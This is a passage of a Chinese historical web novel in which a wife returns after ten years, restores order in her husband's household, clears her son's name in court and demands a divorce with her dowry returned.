只怕他镇北侯从把林婉柔娶回家做平妻的那一刻,便从没想过有一天她还会回来,让他林婉柔受这后院的规矩吧。
林婉柔躲在沈卿知怀里,瞬间泫然若泣的看向孟南枝,跟受了天大委屈一般,“南枝,你我姐妹相称,你怎可容她对我如此无礼?”
孟南枝未先理她,而是抬眼望着门外探头探脑,想进又不敢进的人,“二叔父既然来了,为何不进来?”
沈二叔父头发已经花白,穿了一身深色锦衣,听见孟南枝喊他,连忙笑盈盈的走了进来,“我听下人说你回来了,特地过来看看,瞧见你还那么年轻,一时有些不敢认。”
孟南枝笑道:“那有什么不敢人的,难不成二叔父与平夫人一样以为我不是南枝,不是这镇北侯的夫人?”
沈二叔父连忙摆手,撇清关系道:“那哪能呢,你就是南枝,你看你往这一站,这气度,这身姿,一看就是鼎鼎有名的镇北侯夫人,谁说你不是,我帮你去揍他。”
他谁都不服,就服这侄媳妇儿,要不是这侄媳妇儿嫁到他们家,沈家估计都要从侯爵降成子爵了。
那个什么劳子平夫人,算个什么东西。
他与侄子在书房议个事,也三翻五次的一会儿送茶一会儿送点心的想要进去。
孟南枝笑着对身后的丫鬟道:“给二叔父看茶。”
沈二叔父在丫鬟的伺候下,大摇大摆的坐下,抬眼看他们一群人都站着,混不齐的道:“坐坐坐,这不能就我自己坐啊,你们也都坐下。”
沈卿知扶着林婉柔着便要坐下,刘嬷嬷重重的哼了一声,“平夫人!主子议事,你且站着。”
沈卿知立马站了起来,道:“你个恶奴!本侯让她坐,她便可坐。”
孟南枝抬手按住刘嬷嬷,道:“沈卿知,既然二叔父在,便是让二叔父同你说说,你这平夫人,是该坐还是不该坐。”
沈二叔父口里抿着茶,看都没看林婉柔一眼,道:“在夫人面前,没有平夫人坐的道理,卿知,你该把心思放在朝堂。这后宅啊,由夫人管制。”
沈卿知当年能做稳侯爷之位,沈二叔父出了不少力。
所以他虽不愿,却不得不在他的压制下,道了声:“是,二叔父。”
林婉柔闻言却是狠狠的暗恼,死老头子,亏她平日那般孝敬他。
他最好祈祷别让侯府落在她手里,否则早晚一天弄死他。
孟南枝缓步走到林婉柔面前,目光扫过那身与昨日完全不同的衣着和发饰。
语气温柔中带着叹息,“婉柔,你一直口口声声说与我姐妹相称?我今日回来,便是想再同你做姐妹的。”
轻揉了揉她那被打红的脸,孟南枝又道:“只不过,婉柔你要知道,既然你想与我做这府中姐妹,那就要明白这姐妹是该怎么个做法。”
刘嬷嬷撂眼,不顾镇北侯瞪她凶狠的眼神,道:“平夫人,原先夫人不在,但今日既然夫人回来了,老奴便当着全府的面,把这府中规矩与你说一遍。你身为平妻,每月初一十五,需卯时到夫人房中给夫人请安。见到夫人必须行李,回夫人话时不能直视,更不能与夫人并肩站……”
刘嬷嬷的话不重,却字字如刀,刻在林婉柔的脸上,使得她面色越来越白。
她握紧的指尖只想搅碎了帕子,在沈二叔父和众多府中府中丫鬟奴仆下,也只能躬身道了声:“是,夫人。”
见她这般能屈能伸,孟南枝却是眯了眯眼,笑道:“这才是我的好姐妹嘛,婉柔你也是做过主母的人,当知道这府中规矩坏不得。”
又看了看自林婉柔进来,那便再也不开一口的麻乙,道:“婉柔,你说,这诬蔑主子的恶奴该如何处理是好?”
林婉柔抬眼柔柔的扫了一眼脸上带着水泡的麻乙,道:“若是污蔑主子,轻者杖责二十,重者,直接杖毙。”
被绑着的麻乙瞬间抖了一抖,低垂着眼,却一句话也不敢说。
林婉柔又抬眉轻声道:“可这是修儿身边的奴仆,这些年一直跟着修儿,即便他犯了错,是打是罚,也该等修儿回来做主。”
随着她的话音落地,刘嬷嬷“啪”一巴掌扇在她的脸上,“平夫人,你刚有三错。一错,身为平夫人不该叫世子的乳名。”
“啪!”
又一把掌。
“二错,夫人问什么便回什么,夫人不问的,不能多说。”
“啪!”
再一把掌。
“三错,这侯府后宅便是由夫人做主,夫人说该罚,便是该罚,夫人说该打,那便是该打。”
第18章 不能和离
林婉柔半张脸已肿得很高,对她疼爱的沈卿知几次想要站起来,都被沈二叔父重重的按下。
她恼恨的拽紧了帕子,嘴里的牙都几乎要被咬碎,面上却依旧温温柔柔,泪跟断了线的珠子似的往下掉的让人心疼。
“我也不过是想着这奴仆是跟在世子身边的老人了,在世子面前颇为得宠,而且那通房的事之前也已有了定论,世子若觉得这奴仆有错,又怎会再让他跟在身边。”
镇北侯沈卿知闻言惊了醒,也跟着说道:“是啊,南枝,婉柔说的对。若修儿觉得这奴仆有错,又怎会让他跟在身边,。”
这两人,还真是一唱一合,嘴铁得打不死啊。
孟南枝冷声道:“沈卿知,那还不是因为这奴仆是你给的!修儿念着父子情意,不想与你撕破脸罢了!”
镇北侯沈卿知却不这么认为,辩驳道:“孟南枝,修儿他同样是我的孩子,他若拿着证据与我说,我怎么会信一个奴仆重过信他?是他自己认了错。”
“证据?”
孟南枝怒极反笑道:“沈卿知,你身为他的父亲,竟然需要依赖证据才能相信自己的孩子!你可真会强词夺理。”
懒得再与歪了心的他们理论,孟南枝道:“带走,送到应天府!”
麻乙见侯爷在孟南枝面前说话也无用,再也控制不住,跪到她面前,声泪俱下道:“夫人,小人错了,小人不该自以为是的污蔑世子,求夫人饶命。”
沈卿知自知已劝说不动孟南枝,便对一侧的沈二叔父道:“二叔父,此乃家事,若是闹到府衙,只怕影响我们镇北侯府声誉。”
沈二叔父闻言点头,对孟南枝劝慰道:“南枝啊,卿知说的不无道理,这点小事,在咱们自己府里解决便好,闹到府衙不好看。”
孟南枝抬眉问道:“二叔父是觉得现在满京传我儿喜杀通房之名是小事?”
沈二叔父一时语塞,道:“这我也听说了一点,这……”
孟南枝轻拂衣袖,斜睨了他一眼,道:“若二叔父真想为镇北侯府博得美誉,便应竭力保全我儿的清誉,我不在的这些年,二叔父可有为修儿说过一句话?”
沈二叔叔被斥得老脸一红,不再说话。
他有自己的院子,哪里会天天闲着没事往侯府内跑,再说他自己的孙子还管不过来。
这时,七八个褐衣衙役被房门拦着往院内冲进来。
领头的捕头腰间别着铁尺,嗓门极大,“奉府尹大人令,捉拿嫌犯麻乙。”
镇北侯沈卿知责备的扫了孟南枝一眼,猛拍桌子道:“放肆!这是我镇北侯府,岂是你们能撒野之地?”
捕头垂手而立,扫了一角已被绑下的麻乙,道:“侯爷息怒,有平阳公府甄公子和史部黄尚书家黄公子作证,这嫌犯牵扯诬蔑沈世子,眼下又有屠戎将军坐堂,正等着属下带这嫌犯回去,还望侯爷莫要阻拦的好。”
说到这里,捕头抬了抬眼,轻声道:“这也是为了沈世子。”
镇北侯沈卿知闻言一时迟疑不定,修儿与平阳公府甄公子和史部黄尚书家黄公子一向不对付,这两人怎么可能会给他作证?还有屠戎将军,他又怎么掺和在里面?
孟南枝却是不管他心中所想,对着捕头道:“正好,此恶奴还残害无辜生命,谋杀府中奴婢,还请将此事一并禀报府尹,以便严惩不贷,以正视听。”
捕头看着面前的孟南枝,迟疑回归的她竟然如此年轻,却仍是恭敬的拱手道:“是,侯夫人。”
虽然不明白屠戎将军为什么会跑去府衙坐堂,但因着父亲的连连夸赞,和巨幕中并未看到他对自己的子女成长造成什么恶劣的影响。
孟南枝便放了一半的心,相信有他在,那府尹定会秉公处理,还他儿清名。
给刘嬷嬷使了个眼色,安排两个奴仆随着捕头他们拖着被绑的麻乙去了府衙。
此事安排妥当,孟南枝对身后刘嬷嬷示意,一名从孟府带来的丫鬟捧上一个鎏金木匣。
孟南枝从里面取出早已写好的和离书,扔到镇北侯面前的茶几上,“既然沈卿知你如此不喜我儿,儿女便由我抚养,把和离书签了吧。”
随后又从匣子里拿出一本帐册,帐册封面写着“陪嫁清单”四字,同样摔在他面前,“签完后,三日内将我的东西原封不动的准备好送到孟府,少一样,府衙见。”
说完便带着刘嬷嬷跨步离去。
完全不顾身后镇北侯沈卿知对着和离书和帐册翻了两页后,那由红变白,又由白变红的脸。
“南枝,你别走啊,你这才回来闹什么和离啊。”
沈二叔父追她不动,便又退了回来,指着镇北侯沈卿知的脸,斥道:“你说你,怎么能和南枝闹到和离的地步,你可知若是离了孟家,咱们沈府……”
说到这里,沈二叔父看向依偎在他身边的林婉柔,脸色漆黑,“要是因为她,便把她休了,把南枝给叫回来。”
“二叔父。”林婉柔苍白的脸上挂着泪珠,声音哽咽着充满了无限委屈,“我自入侯府,相夫教子,谨守本分,从未越雷池一步,岂能仅凭她一句话便要休我。”
沈二叔父心中暗呸了一口,甩了甩袖子道:“总之,我们镇北侯府沈家没你可行,没她不行。”
镇北侯沈卿知的脸黑如碳墨,站起身道:“二叔父,婉柔嫁于我,乃是太后懿旨!”
“太后懿旨,太后懿旨。”
沈二叔父不满的嘟哝道:“你少拿太后懿旨跟我说事,这话说给别人听听也就算了,真当我不知道你那些破事儿。”
又指着林婉柔的鼻子骂道:“你爹当年嫌弃我们卿知是个庶子,不愿让你嫁他,选了比他有前途的陆家嫡长子,你好好的嫁到陆家做那陆家媳就得了,怎么还要死了丈夫后招惹我们沈家!”
沈卿知搂着哭得泣不成声的林婉柔,替她辩解道:“叔父,婉柔也不容易,她在陆家过得艰难,这些年吃了许多苦。”
沈二叔父摆手道:“她难不难我不管,总之不能和离。”
第19章 他清白了
孟南枝带着刘嬷嬷从正厅出来,行至庭院时,太阳已高悬中天,光芒刺目,令人难以睁眼。
几个洒扫的奴婢连忙停下手中活计,向她行礼,“夫人。”
孟南枝微微颔首,目光略过花圃中那并非她所喜爱的茉莉,暗暗自嘲。
她给沈卿知的从来就不是选择题,和离,是板上钉钉了。
只不过这些年他们两个人,一个声称爱她而不续弦,一个声称对不起她,却又要嫁给她的夫君,替她照顾夫君的生活在一起。
她是真的难掩心中的愤恨,想要撕破那张皮。
“南姨。”
一声清脆的呼唤从月亮门边传来。
孟南枝转头望去,只见林婉柔的女儿陆筝筝正提着裙摆向她快步走来,嫩黄色的衣襟领口处绣着几枝淡粉桃花,发间插了一支珍珠步摇,跑过来时那垂落的珠串随着在发髻轻轻晃动,折出细碎的光。
她一过来,便随她母亲一般往孟南枝怀里贴,“南姨,我好想你。”
声音轻得像羽毛,眼睛也随了她母亲,如蒙了层水雾,总带着怯怯的,惹人心疼的模样。
孟南枝没躲开,只是身体僵硬着与没她贴那么近。
陆筝筝与修儿同岁,孟南枝以前最是心疼她,每每看到她这模样,都心里软软的,恨不得把所有的好东西都给她。
但眼下见到她这般模样,孟南枝只觉得心里堵得恶心。
自己的长子因她而死,女儿也因她而疯。
她怎能如此理所当然地随她母亲居住在这侯府内,享受别人所打拼出的成果呢?
陆筝筝抬起头,眼泪已沾湿了睫毛,怯生生地看着默不作声的孟南枝,道:“南姨,你是不是认不出我了,我是筝筝呀,你看,这是我当年生辰时你送我的平安锁。”
似乎是怕她不信,陆筝筝高高举起脖间挂着的泛着莹莹白光的羊脂玉平安锁。
这平安锁是孟南枝从陪嫁里寻了最好的一块羊脂玉,专门为她雕刻的。
孟南枝当时有多疼惜她,眼下便有多恨她。
只是那苦楚偏偏还不能道出来,只得轻轻的道了一声,“嗯。”
陆筝筝拿起袖帕擦拭着眼泪,笑着关切问道:“我就知道南姨你能认出我,就跟我能一眼认出南姨一样,南姨这些年你都在哪里呀?侯爷寻了你许久都没找到,南姨定是住得偏远,过得辛苦。”
少女看似不经意的询问,却处处透着陷阱。
孟南枝眉稍微凝,压下心中情绪,笑意不达眼底关切道:“你母亲这些年才是辛苦了,带着你从陆家来到侯府,还要替我照顾侯爷和孩子,定是吃了不少苦,难为你和你母亲了。”
陆筝筝脸上的笑容微僵,却又立马佯装擦拭眼泪,替林婉柔辩解道:“南姨,母亲说她不辛苦的,母亲总说为了南姨也要把侯爷和世子他们照顾好,这样等南姨哪一天回来了,看到好好的侯爷和世子,才不会觉得愧对南姨那么拼命地救她。”
说到这里,陆筝筝又怯生生地拉住她的胳膊,“南姨,母亲从来没想过你会死,一直都在等你回来,母亲说她这些年做的任何事都是在赎罪,哪怕是嫁给侯爷,也只是想着替南姨照顾好侯爷和世子。”
“南姨,你不要怪母亲。”说到这里,陆筝筝的眼泪便又如线一般的往下掉,活脱脱的好似被欺辱了一般。
还真是和她母亲一般,惹人烦啊。
她以前怎么就没看出一点呢。
孟南枝轻阖眼帘,遮去眼底的厌烦,轻拍了拍她的肩膀,柔声问道:“筝筝可是与你母亲一同住进了侯府?”
陆筝筝点头,又似怕她不高兴,怯生生地道:“南姨,母亲原是不想把筝儿接进侯府的,是侯爷说母亲照顾世子他们辛苦,夜晚人静时,时常会想起自己在陆府无人依靠的孩子,独自落泪,这才把筝儿接进侯府的。”
说到这里,陆筝筝似委屈般地又低下了头,“南姨,母亲她待世子他们比筝儿还好。”
确实好啊,好到满京人人相传。
传她林婉柔是位慈母好妻,而她孟南枝的孩子都是那难以教养的逆子。
孟南枝掩去眸中情绪,笑问道:“所以筝筝啊,既然你母亲如此不喜你,你是怎么还能跟着她在侯府待得下去呢?”
没想到她会如此询问的陆筝筝一时呆愣,泪珠卡在眼角,“我,南姨我……”
孟南枝根本就没想着听她的回答,提步带着刘嬷嬷离去。
而在孟南枝离去后,陆筝筝带着水雾的眸子瞬间恢复了清明,她望着孟南枝离去的背影,抬手轻轻摩挲胸前挂着的平安锁。
果然如母亲所说,南姨待她母亲敌意满满啊。
只是,南姨待她一向温柔,即便如今因为母亲做了侯爷平妻的原因对她不喜。
也不该是那种表情才对。
在自己抱向她时,南姨眼中那一瞬间的狰狞,好像是要吃掉她。
自己似乎还没做过让她如此嫉恨的事吧?
离开的孟南枝自然不知她心中所想,她与刘嬷嬷已经坐着孟府的马车,准备赶往府衙。
只是赶到府衙时,门外的百姓将府衙围得满满当当,孟南枝坐在车内便没有下去。
只听到案子判到精彩处,百姓们热烈的喝彩声。
“真没想到,我今早听到人所说的‘镇北侯家的沈世子说的明将军是叛徒’竟然是被人诬陷的。”
“是啊,我也没想到这镇北侯家的世子竟然是个性子纯真的。”
“那传得有鼻子有眼的喜杀通房竟然是假的。”
“沈世子没有与明家退婚。”
……
刘嬷嬷听得老泪纵横,声音满是掩不住的哽咽,“夫人,老奴替世子谢谢夫人,多亏夫人,世子才能鸣冤。”
孟南枝叹了口气,安抚着拍了拍她这些年变得枯瘦的手。
案子到了尾声,百姓散去。
少年沈砚修带着一身朝气从府衙走了出来,看到门口停着的孟府马车,眼睛立马就亮了起来,三两步便跳了过去,“母亲,母亲,府尹判了,我没害人。”
少年的心是雀跃的,是兴奋的,更是一种突然控制不住的开阔。
他清白了。
十年了。
第一次,他说的话有人听有人信。
有人愿意无条件地站在他这里。
可怎么就控制不住掉泪呢。
他边擦泪,边对母亲笑道:“母亲,我没哭,我这是高兴的。”
孟南枝望着少年脸上又哭又笑的表情,心中五味杂陈。
她养的孩子,本该心胸开阔,无忧无虑,活得恣意。
怎么能活得累成眼前这个样子。
第20章 将军没娶
拿着手帕给长子沈砚修擦了擦,孟南枝柔声道:“母亲知道,我的修儿从没害过人。”
“母亲。”沈砚修擦干眼泪,激动万分道:“是屠戎将军帮了我。若不是他在,那黄营东不会那么快招出是麻乙传的我已经与明家退婚,还说我退婚是因为明将军是叛徒。”
“就是害了那婢女的恶奴麻乙,不管府尹怎么审,都说他不是故意曲解我的意思,府尹也拿他没办法,只得收了监。”
提到麻乙,沈砚修眼中闪过一丝愤恨。
当年那丫鬟被害,麻乙跪哭着说是听他的安排。
可他明明不是那个意思,他只是单纯地觉得吵得他烦心,想让那丫鬟闭上嘴巴而已。
他跟父亲解释,父亲却不信他。
至此,他便自暴自弃,觉得无所谓了。
若是此次真如母亲所说,害他被圣上问可有明将军是叛徒的证据,他该怎么办?
父亲定是又要拿他出气!
可那恶奴明明是父亲给他的!
孟南枝已猜想到那麻乙定不会承认他是主动谋杀,毕竟曲解和主动是两种性质,所判结果自然也就不一样。
而且那奴婢蓄意爬床本就有罪,所以那麻乙只要咬死了这一点,便不会被判重刑。
至于他是否有人指示。
孟南枝握紧了掌心,她是可以用家法处置他,弄个明白。
但她在意的从来就不是一个恶奴的死或活,而是长子的名声和心结。
能让长子正确面对和成长,比什么都重要。
想到这里,孟南枝点头,俯身准备下车:“是该谢谢屠戎将军,将军可还在府衙?”
沈砚修摇了摇头:“母亲,将军随府伊去了牢狱,好像还有什么大案要办。”
孟南枝只得又坐了回去,道:“那便择日备些体面的谢礼,去将军府登门拜谢吧。”
沈砚修跳上马车,笑着邀功道:“母亲,我已经当面谢过将军了。”
孟南枝眉头微蹙,先是夸赞:“修儿做得不错,是该当场就要道谢。”
接着又牵着他在自己旁边坐下,语气温和郑重道:“但是修儿,待人接物礼数要比这重得多。当面说的谢一般来说不过是口头上客气两句,谢将军坐堂还你清名,有如再造之恩。应当亲自登门,奉上厚礼,郑重道谢,才是为人处世的道理。”
沈砚修受教的点了点头,轻声应道:“我知道了,母亲,我明日便携礼去将军府登门道谢。”
见他知错又听话,孟南枝便笑着问道:“不知谢将军娶的是哪家的姑娘?我也好根据谢夫人的喜好去备些送给她的薄礼。”
她记得与谢归舟适龄的姑娘有好几家。
曹国公家的二小姐风华绝代,李侯府家的四小姐蕙质兰心,梁相家的三小姐秀外慧中。
她印象中这几位在当年都是被皇后娘娘一一点过的,说是品貌才学都配得上当时的小国舅。
只是也不知道最后落了谁家。
沈砚修从马车捻了一口糕点放进嘴里,含糊不清道:“母亲,将军没娶妻。”
孟南枝疑惑,“没娶妻?”
这怎么可能呢,谢归舟小她五岁,算算年龄,如今他也已经二十九了,作为谢家仅剩的唯一一个男丁,皇后娘娘怎么可能会容他不娶?
一旁坐着的刘嬷嬷眼神闪了闪,却是低垂着眼没说话。
沈砚修解释道:“嗯,谢将军志在屠戎,说什么时候将北戎收复了,什么时候再娶妻,否则此生不娶。”
孟南枝闻言默默举起了拇指,好志向。
只不过在巨幕中,好像直到她的家人全部死光了,也没见到北戎被收复。
而且巨幕里好似对屠戎将军并没有什么描述,就好似一个可有可无的背景板一般。
还不如自己,至少自己还是个配角,活在主角门的记忆里。
但想想人家那么有志气,为了梦想、为了大衍现在已是鼎鼎有名的将军,而自己那日后可能会成为人人喊打的反派长子,现在还跟个孩子一般坐在车里啃糕点。
孟南枝就觉得自己这位老母亲任道而重远。
想到自己离开时,他也不过六岁,便轻声问道:“修儿,母亲记得你幼时读书,书院先生时常夸你聪慧,你也与母亲说长大要效仿外祖父做大衍的栋梁之才,考科举,当状元,不知眼下你学业如何?”
沈砚修准备伸手再去拿糕点的手一顿,目光落在糕点的盒子上,喉间动了动,支支吾吾道:“母亲,孩儿学业尚可。”
母亲不在的这些年,他只顾和父亲斗气,若非应付外祖父的偶尔考问,他只怕都要不知道学业是个什么东西了。
孟南枝盯着他躲闪的模样,不由想起他幼时犯错,也是这般,便又笑问道:“既然学业尚可,那定是已经参加科举了吧?”
“母亲,我……”
沈砚修收回开始拨弄手指,抬眼正好瞥见车窗外的聚鲜楼,连忙道:“母亲,您今日忙了一天,定是饿了。我们去这聚鲜楼吃饭吧,你不是最喜爱吃这里的桂花鱼,还有醉香鸭,我请您吃。”
说着他便招呼着马车在聚鲜楼前停下。
孟南枝看着他迫不及待转移话题的模样失笑,故意逗他:“修儿今日若不和母亲说,母亲怕是无心宴食。”
沈砚修连忙转过身来,吭哧道:“母亲,孩儿没参加科举。”
孟南枝见他很是实诚,抬头点了点他的脑袋,笑道:“行了,母亲还能不知道你,快请母亲吃清蒸桂花鱼吧,但凡不合母亲口味,定罚你开了春就去参加科举。”
沈砚修抬起头,一双眸子亮晶晶地笑道:“保管合母亲的胃口。”
沈砚修跳下车,伸手扶着孟南枝下车,引着她往里走。
店小二远瞧见他们下车,早已堆着笑迎了过来,“沈世子里面请,您常坐的雅间还给您留着呢。”
雅间设在二楼临窗处,推开门便闻到一股淡淡的檀香。中间摆着梨花木圆桌,抬目可以看到窗外有一棵老槐树,再往远处眺望,是一片明明是在夏季,本该凉风洗面,却炙得让人脸疼的干裂湖底。
大衍湖。
她溺死的地方。
第21章 换了东家
孟南枝抚摸窗边的椅子,那椅面被坐得光滑,台面被磨得掉了漆,可以想象得到有人时常坐在这里。
她在椅子上轻轻坐下,望向干涸的大衍湖。
被晒得干裂的湖底就像块被摔碎的巨大陶盘,裂纹深深浅浅。零星几丛枯苇斜插在泥地里,叶子卷成了筒状。总喜欢在湖面捕鱼的水鸟早已没了踪影,只有几只麻雀在干裂的泥缝里刨着。
远处曾用来系船的木桩孤零零地戳着,底部还留着一圈圈水浸的痕迹。太阳直射下,湖底蒸着的热浪,熏得让人发慌。
掌柜亲自端着托盘进来,上了碟精致的杏仁酥当茶点,还有冰块消暑。
半弓着身,低垂着的头下一双精明的眼睛,余光一直往孟南枝身上瞥。
刘嬷嬷见状,严而不怒地喝斥道:“看什么看,还不快按照侯夫人往日的喜好上菜。”
掌柜的慌忙点头,道:“小的现在就去布菜。”
他拎着托盘走出雅间,却差点撞上楼梯。
店小二没唬他,果真是镇北侯夫人回来了。
自打镇北侯夫人落水溺亡,主子携着镇北侯把这大衍湖水抽干后,就买下了这生意日渐下滑的聚鲜楼。
还非要安排他来做这的掌柜,他一个舞刀弄枪的会做什么掌柜。
所以他便时常躲在房里图清静。
偏那沈世子,三五不日地来这楼上雅间占着位置点了菜,即不吃,也不走人。
偶尔吃醉了酒,还与来吃饭嘴啐的人打上一架。
让他这假掌柜是左右为难,只能背地里对着那些嘴啐的人下黑拳。
偏偏主子还非要将这位置给他留着,让他这个假掌柜好生供着。
真没想到,十年了,这侯夫人还真被沈世子给等回来了。
那是不是以后就不会再来这给他添乱了?
他要不要通知主子呢?
算了,这点小事。
不值得他专门跑一趟。
也不值得主子来一趟。
孟南枝轻按着被热气熏得酸涩的眼角,没去问长子是不是坐在这里看了十年。
那对长子来说,如同揭疤。
疼,而没有意义。
沈砚修用袖帕裹了两块冰,递给她,“母亲。”
孟南枝接过来按压了两下燥热的额头,随口道:“刚才那掌柜没见过。”
沈砚修给她添了茶,解释道:“大衍湖干涸后,聚鲜楼生意便没以前好了,听说是换了东家。不过,母亲,那做菜的厨子可没换,保您吃得合味。”
孟南枝看着他熟稔给自己倒茶的模样,想起他幼时想要给自己倒茶,却连茶壶都拎不起来的光景,眼中浮出无限暖意。
不多时,掌柜的亲自带着店小二便端着做好的菜肴上了桌。
孟南枝刚提起银箸,准备夹起长子放在自己面前蝶子里的鱼肉时,门口传来一声带着迟疑的轻唤:“南枝?”
声音不高,甚至带了点包含岁月的嘶哑。
孟南枝缓缓抬起头,只见雅间门口站着个穿着石青色杭绸褙子的妇人,鬓边斜插着攘翠金簪,面上略施脂粉,面容温和,却又自带气度。
四目相对的刹那,对方眼睛倏地亮了,快步跨门进来,石青色马面裙摆扫过门槛时带起一阵风,“真的是你,我方才在楼下瞧着像你,因为太年轻还不敢认,要不要看沈世子对你毕恭毕敬,刘嬷嬷又跟着,还真不敢就确定是你的非上要来瞧一瞧。”
曹宛清,曹国公家嫡长女,是她幼时好友,少年同伴。
孟南枝放下银箸,连忙站起向,福了一礼,“宛清姐。”
曹宛清挽住她的手,一双带着细纹的眼睛上下打量她,红了眼眶,“真好,还是和以前一样,你说你水性那么好,当年怎么就……”
孟南枝拉着她坐下,将袖帕递给她,“不说了,宛清姐,我这不是好好的。”
曹宛清擦了擦眼角,“不是我不说,而是心疼你。”
“谁不知道咱们同年的几个姑娘,数你水性好,原先又不是没有去那深湖里下过水,我记得你最长的那次,能在水下游上两柱香,怎么就一次落湖就没了影呢。”
“我们几人知道你落了水,寻那同样落水的林婉柔说理去,她一个劲地哭哭啼啼,只说什么你因为救她,才没能出来。”
“你说你,怎么就那么傻呢,你自己有孩子有父母,遇到危险不先救自己,救什么外人。这下倒好,你这十年不在。她那日子是过得又潇洒又自在,还有脸嫁给镇北侯。”
曹宛清絮絮叨叨的说了一阵子,又对一直站着的沈砚修翻了个白眼,“就你这孩子,出门在外还护那人的孩子呢。”
沈砚修低着头,被训得不敢吱声。
孟南枝却说得心里暖洋洋的,让刘嬷嬷给她添了碟,又给她夹了块桂花鱼,“好姐姐,您说得都对,来,吃块鱼肉,下下气。”
曹宛清佯装生气地瞪了她一眼,“怎么?闲我话多了?”
孟南枝连忙摇头,否认道:“哪能呢,南枝心里知道宛清姐待我好着呢。”
曹宛清点了点她的脑袋,“你呀,还是和小时一样,太过热肠。我早说过你,别太单纯,容易吃亏,你还不信,非说什么行正义、为不公,抑强扶弱,这下倒好,早早的成了婚,把自己栽进去了吧。”
孟南枝把头贴在她肩上,软柔柔地求饶道:“好姐姐,我知道错了,莫要再说了。”
曹宛清被她拱得失笑,掰正了她的脑袋,再一次打量她漂亮、年轻、细嫩的小脸,叹道:“你说你这十年是怎么长的,怎么一点变化都没有,我们俩坐在一起,让外人瞧着不得是两个辈分。”
孟南枝笑道:“哪能呢,宛清姐跟我一样,年轻漂亮,美着呢。”
曹宛清斥笑道:“少哄我,我天天照镜子,哪能不知道自己长什么样。不过你这一回来,那林婉柔只怕单是看到你这张脸就要心惊胆战的吧。”
孟南枝笑着没接话,只往她蝶子里添菜。
曹宛清也知道这已变成她的家事,便不再多提,问道:“你何时回来的?怎么也与不我说一声,这些年让我好生想你,不知赚了我多少眼泪。”
孟南枝道:“昨日才回的。”
曹宛清点了点头,“昨日回的那确实没来得及,刚好过两日是荷风宴,你亮个相,好让我们这些同年,都知道你回来了。”
孟南枝点头应是。
第22章 让人心慌
因昨日未能睡好,所以宴罢回府,与孟父、胡姨娘道过安后,孟南枝便洗漱睡下了。
她却不知,今日走这一遭,导致好些个人都难以入眠。
镇北侯府。
沈卿知拿着那陪嫁清单,额角青筋气得突突直跳,拽紧了手指,几次都想把那清单撕了,也没敢撕。
大衍有律,嫁妆属女子私产,他若不还,若传出去,别说他在天子那边交代不过去,便是整个侯府都跟着难堪。
只得咬着牙将管家喊来:“去,照着单子,一件件把东西寻回来。”
管家捧着清单看了半晌,脸色越来越白,道:“侯爷,这……,这不好办啊。和田玉雕喜上眉梢摆件,送与平阳公府二公子的婚贺之礼;青玉浮雕福寿如意,送于李尚书家老太太贺寿;还有……”
他偷瞄了眼镇北侯铁青的脸,声音越来越低,“这些都送了人,要回来怕是会伤了脸面。”
“要?你还知要回来会伤脸面!当然是不能要!”
沈卿知一脚踹翻了脚边的圆凳,火气却仍没发出来,他烦躁地跺着步,“先将能换的换回来,其他的再交与我想办法。”
“是。”管家顿了顿,又低声道:“侯爷,当时娶平夫人时,送的聘礼里面,有几样,也是夫人的嫁妆。”
沈卿知狠狠一挥袖子打在他的脸上,“还用你说!”
管家挨了打也不敢吭声,喏喏地退下。
沈卿知站在原地,却气得胸口发闷。
十年了,他原想着她早已不在,该用的都已经用了,怎么偏偏又回来了。
还这般逼他!
婉柔有什么错,非要他休她。
他又有什么错,只是娶了一个平妻,连续弦都没续。
说他对孩子不好,可三个孩子不都锦衣玉食,好好地活着!
镇北侯府南苑。
月色漫进窗棂,只着简单里衣的林婉柔正坐在铜镜前被几个丫鬟伺候着卸妆。
陆筝筝轻轻地走过去,接过丫鬟手里的金钗,让她们退下,抬手亲自给母亲梳发。
林婉柔抬眼看向铜镜时映着的乖巧女儿,问道:“今日见着她了?”
陆筝筝点头,边梳边道:“是南姨,只是对女儿好大敌意,好似女儿杀了她的亲人似的。”
林婉柔轻拍她的手,嗤笑道:“你不知她,坚守一生一世一双人,这世间,怎么可能呢?她那老不死的父亲,不也纳了妾。”
她对镜映出自己含着水光的眼,嘴角勾出妩媚的弧度,“即便是侯爷不续弦,她真当侯爷是为了她呢,还不是因为没有遇到更适合联姻的。筝儿啊,这女人呐,要知道男人最不可靠,能靠的,是自己抓住男人的本事。”
陆筝筝没作声,拿着浸湿的毛巾递给她擦脸。
蒙上温凉的毛巾时,林婉柔脑中突然浮现出孟南枝那张年轻漂亮没有丝毫变化的脸,一把将毛巾甩开扔在地上,发出沉闷的声响,恨恨道:“她怎么就不会老呢!”
又对着铜镜抚摸自己眼角的细纹,眸中满是藏不住的恼恨,“让你办的事办得怎么样了。”
陆筝筝轻声道:“已经按母亲说的办妥了,只待起风。”
……
夜色如墨,聚鲜楼已经打了烊。
贾掌柜打着哈欠准备继续滚回房间混日子。
一阵马蹄声传来,贾掌柜瞬间惊醒睁大了眼睛,迅速跑到门口,“将军。”
门檐下的灯被夜风卷得轻轻摇晃,昏黄的光线下,一身玄衣的谢归舟从马背上翻身而下,他身姿挺拔,额间浸汗,发间又似乎带了夜露。
贾掌柜接过马绳,道:“将军,今日沈世子又来了。”
至于侯夫人,不重要。
反正每次将军交代的都是看好世子。
谢归舟轻轻点头,并未多言,提步便上了楼上雅间。
贾掌柜摇摇头,牵着马到后院。
将军也是不正常,跟沈世子一样,都喜欢坐在雅间看风景。
偏偏每次还避着沈世子。
一个干涸的破湖有什么好看的。
沈世子是思念侯夫人。
将军是看什么?
谢老夫人又没在湖里过世。
踏上楼的谢归舟在经过沈砚修常坐的雅间时,脚步顿了一下。
淡淡的清香,不是沈砚修的。
他推开门,清洌的目光环视一圈,最后定在窗边的檀木椅子上。
轻轻地走过去在椅背上捏起一缕发丝,恰有微风吹过,那纤细的发丝随风扫过鼻尖,带起一阵极轻极痒的触感,像是一声无声的呢喃。
而那香味似蔷薇又似桂花,鲜中带甜,甜中带涩,涩中又带着绕。
缠缠绕绕,让人心慌。
是她。
她来过。
……
笠日一大早,一夜好眠的孟南枝便让沈砚修带着精心备好的厚礼去了谢家。
但还没到一刻钟,沈砚修带着礼又回来了,兴致勃勃地邀母亲去踏青。
孟南枝抬头看了眼窗外炙热的太阳,觉得她不在的这些年,长子缺乏教导,导致脑子可能有点空空。
便是问道:“不是说让你去谢家登门道谢吗?怎么这么快就回来了。”
沈砚修道:“将军不在家,我出门看到他骑着马出城了,说是去缉拿要犯,还不知今日能不能回来。”
孟南枝点头,过了一会儿突然问道:“昨晚你宛清姨说你护着林婉柔的孩子是怎么回事?你有什么地方惹得你宛清姨不快了?”
